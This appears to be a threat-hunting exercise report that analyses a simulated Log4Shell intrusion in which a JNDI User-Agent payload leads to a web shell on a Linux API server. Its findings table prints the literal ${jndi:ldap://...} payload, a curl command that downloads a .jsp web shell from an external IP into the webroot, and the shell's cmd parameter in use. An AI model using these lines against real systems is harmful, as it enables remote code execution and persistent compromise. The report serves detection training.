← All Threat Hunting ReportsThreat Hunting Exercise

Threat Hunting Exercise: Analyzing Linux Log4Shell JNDI WebShell Dataset

This hunt uses a simulated web application and host telemetry dataset (linux_app_log4shell_2022-10-08T113000.json) capturing T1190: Exploit Public-Facing Application (Log4Shell/CVE-2021-44228), where an attacker sends a crafted HTTP header or parameter containing a ${jndi:ldap://...} string that a vulnerable Log4j instance resolves, triggering a remote class load and ultimately dropping a web shell on the underlying Linux host.

Step 1: Hypothesis Formation

Hypothesis: A web application access log shows an HTTP request with a header or parameter value matching the ${jndi:...} JNDI lookup pattern, followed within seconds by an outbound LDAP/RMI connection from the Java process to an external IP, and shortly after, a new file appears in the web application's directory or a Java child process spawns a shell - indicating successful Log4Shell exploitation and web-shell deployment. Indicators:

Null Hypothesis: A security scanner or internal penetration test is intentionally probing for Log4Shell as part of an authorized vulnerability assessment. Invalidate by checking the source IP against the approved scanning inventory and confirming no successful callback or follow-on file drop occurred.

Rationale: Log4Shell's remote-code-execution impact stems from the ubiquity of the vulnerable library across countless applications; because exploitation can be nearly instantaneous and the payload endlessly obfuscated, correlating the request pattern with the resulting outbound JNDI callback is far more reliable than payload-string matching alone.

Step 2: Data Sources and Scope

Step 3: Key Findings

Parsed events (5 shown) confirm an attacker sent a crafted User-Agent header containing a JNDI LDAP lookup to the order-processing API, triggering an outbound callback and ultimately a web shell dropped into the application's webroot.

Timestamp (UTC)HostEventDetailIOC/Why Suspicious?
2022-10-08 11:33:02srv-api-19Web access logRequest to /api/v1/orders with User-Agent: ${jndi:ldap://45.155.205.11:1389/Exploit}Log4Shell-Trigger IOC: this is the canonical JNDI lookup payload pattern that, when logged by a vulnerable Log4j instance, triggers remote class resolution.
2022-10-08 11:33:03srv-api-19Network flowJava process (order-api.jar) opened an outbound LDAP connection to 45.155.205.11:1389Callback-Confirmed IOC: the application process itself initiating an LDAP connection to an external, unrecognized IP is definitive proof the JNDI lookup was resolved.
2022-10-08 11:33:05srv-api-19Network flowFollow-on HTTP connection to 45.155.205.11:8080 retrieving a serialized Java class (Exploit.class)Second-Stage IOC: the LDAP response redirected the JVM to fetch and load a remote Java class, the mechanism by which Log4Shell achieves code execution.
2022-10-08 11:33:11srv-api-19auditd EXECVEjava process spawned bash -c "curl -s http://45.155.205.11/ws.jsp -o /opt/tomcat/webapps/order-api/ws.jsp"Web-Shell-Drop IOC: a JVM application process spawning a shell to write a .jsp file into its own webroot is never legitimate behavior.
2022-10-08 11:40:22srv-api-19Web access logRepeated GET requests to /order-api/ws.jsp?cmd=id from 45.155.205.11Post-Exploitation IOC: confirms the attacker is actively using the newly-dropped web shell for command execution.

Validation:

Step 4: Recommendations & Next Steps

Hypothesis confirmed - an attacker exploited an unpatched Log4j instance via a crafted JNDI User-Agent header, triggering a remote class load that dropped a web shell into the application's webroot for ongoing command execution!